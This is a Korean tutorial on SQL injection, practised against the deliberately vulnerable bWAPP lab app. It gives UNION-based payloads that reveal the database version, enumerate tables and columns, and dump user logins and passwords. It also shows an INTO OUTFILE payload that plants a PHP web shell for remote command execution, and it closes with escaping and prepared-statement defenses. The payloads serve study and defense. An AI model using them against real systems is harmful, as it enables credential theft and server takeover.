Part-1, SQL 인젝션

4965 단어 비박스비박스
  • 이 글을 무단으로 전재 및 재배포를 금지하고 있습니다.
  • 허용받지 않은 서비스 대상으로 해킹을 시도하는 행위는 범죄 행위 입니다. 본 내용을 악의적인 목적으로 사용 시 그에 대한 법적 책임을 포함한 모든 책임은 당사자에게 있으며, 작성자는 어떠한 책임도 지지 않음을 밝힙니다.
  • 사용자가 입력한 값을 서버에서 검증하지 않고 쿼리 일부분으로 인식하여 데이터베이스의 정보가 노출되거나 인증이 우회되는 취약점
  • 사용자가 데이터를 입력할 수 있는 곳 어디에서든 발생할 수 있음

GET/Search

--데이터 검색을 위해 사용되는 쿼리 구문
select * from movies where title LIKE ''


데이터베이스 서버의 종류에 따라 SQL 구문이 다르므로 쿼리 오류를 발생시켜 가장 먼저 서버 정보를 확인한다.

또한 주석을 사용하여 어떤 데이터베이스를 사용중인지 유추할 수 있다.

종류한 줄 주석
MySQL#
Orcle--
MSSQL--
MariaDB--,#

컬럼 수가 일치할 경우 오류 메세지가 아닌 정상 데이터 출력
sqli_1.php 페이지에서 호출하는 칼럼 수는 총 7개

0' union select all 1,@@version,3,4,5,6,7 #

MySql 버전을 확인하기 위하여 시스템 변수나 시스템 함수를 활용하여 쿼리를 입력한다.

시스템 변수 및 함수설명
database()데이터베이스 명을 알려주는 함수
user()현재 사용자의 아이디
system_user()최고 권한 사용자의 아이디
@@version데이터베이스 서버의 버전
@@datadir데이터베이스 서버가 존재하는 디렉터리

--테이블명 확인 쿼리
0' union select all 1,table_name,3,4,5,6,7 from information_schema.tables where table_name = 'users'#

페이지에서 사용하는 테이블 명을 확인하려면 information_schema를 사용한다.
information_schema이란 MySQL에서 메타데이터들을 종류별로 묶어 테이블을 만들고 이 테이블을 모아 데이터베이스를 만든 것

information_schema 출처 https://poqw.tistory.com/24

--컬럼명 확인 쿼리
0' union select all 1,column_name,3,4,5,6,7 from information_schema.columns where table_name = 'users'#

--데이터 확인 쿼리
0' union select all 1,concat(login,' ',password),3,4,5,6,7 from users #

🔑대응방안

SQL 문법에서 사용하는 특수 문자가 있을 경우 백슬래시를 붙이는 등 입력 데이터를 SQL 문법에서 인식하지 않게 방어
PHP는 mysql_real_escape_string 함수를 사용하여 NULL, \n, \r(맨 앞이동), ', ", ^Z 특수문자를 우회함

SQL 인젝션을 이용한 공격 시나리오

--공격 구문
0' union select all 1,"<?php system($_GET['cmd'])?>",3,4,5,6,7 into outfile "/var/www/bWAPP/images/sqli.php" #
outfile: 쿼리결과를 파일로 저장

/bWAPP/ 디렉터리에 지정한 임의의 악성파일이 생성된다. 이 악성 코드는 원격으로 명령을 실행하는 간단한 스크립트 파일이다.
cmd 변수에 시스템 명령서를 실행하면 원격으로 시스템 정보를 확인할 수 있다.

GET/Select

--sqli_2.php 코드 중
$sql = "SELECT * FROM movies";

   // If the user selects a movie
   if($id)
   {

       $sql.= " WHERE id = " . sqli($id);

   }

sqli_2.php 에서는 movie 변수에 숫자형이 입력되고 있다. 숫자형만 입력하는 변수에는 작은따옴표나 주석문자를 사용하지 않아도 공격이 가능하다.

--데이터베이스 종류, 버전, DB 서버가 존재하는 디렉터리 확인
 0 union select null,database(),@@version,@@datadir,null,null,null 
--출력 값이 한 줄만 나오는 페이지
--mysql과 information_schema를 제외하고 가장 상위에 있는 테이블과 id 확인
 0 union select null,table_schema,table_name,column_name,null,null,null  from information_schema.columns where  table_schema !='mysql' and table_schema != 'information_schema'

🔑대응방안

$id = $_GET["movie"];
$sql = "SELECT title, release_year, genre, main_character, imdb FROM movies WHERE id =?";
if($stmt = $link->prepare($sql))
// if($stmt = mysqli_prepare($link, $sql))
{
 // Binds the parameters for markers
 $stmt->bind_param("s", $id);
 // mysqli_stmt_bind_param($stmt, "s", $id);
 // Executes the query
 $stmt->execute();
 // mysqli_stmt_execute($stmt);

바인딩(binding)
바인딩은 각종 변수값들이 실제 값으로 묶여 버리는 것
쿼리에 값을 직접 입력하지 않고 bind_param를 이용하여 변수마다 타입 선언 및 변수값 대입
다른 문자열이 들어와도 쿼리의 일부가 아닌 문자열이나 타입에 맞는 값으로 취급됨

좋은 웹페이지 즐겨찾기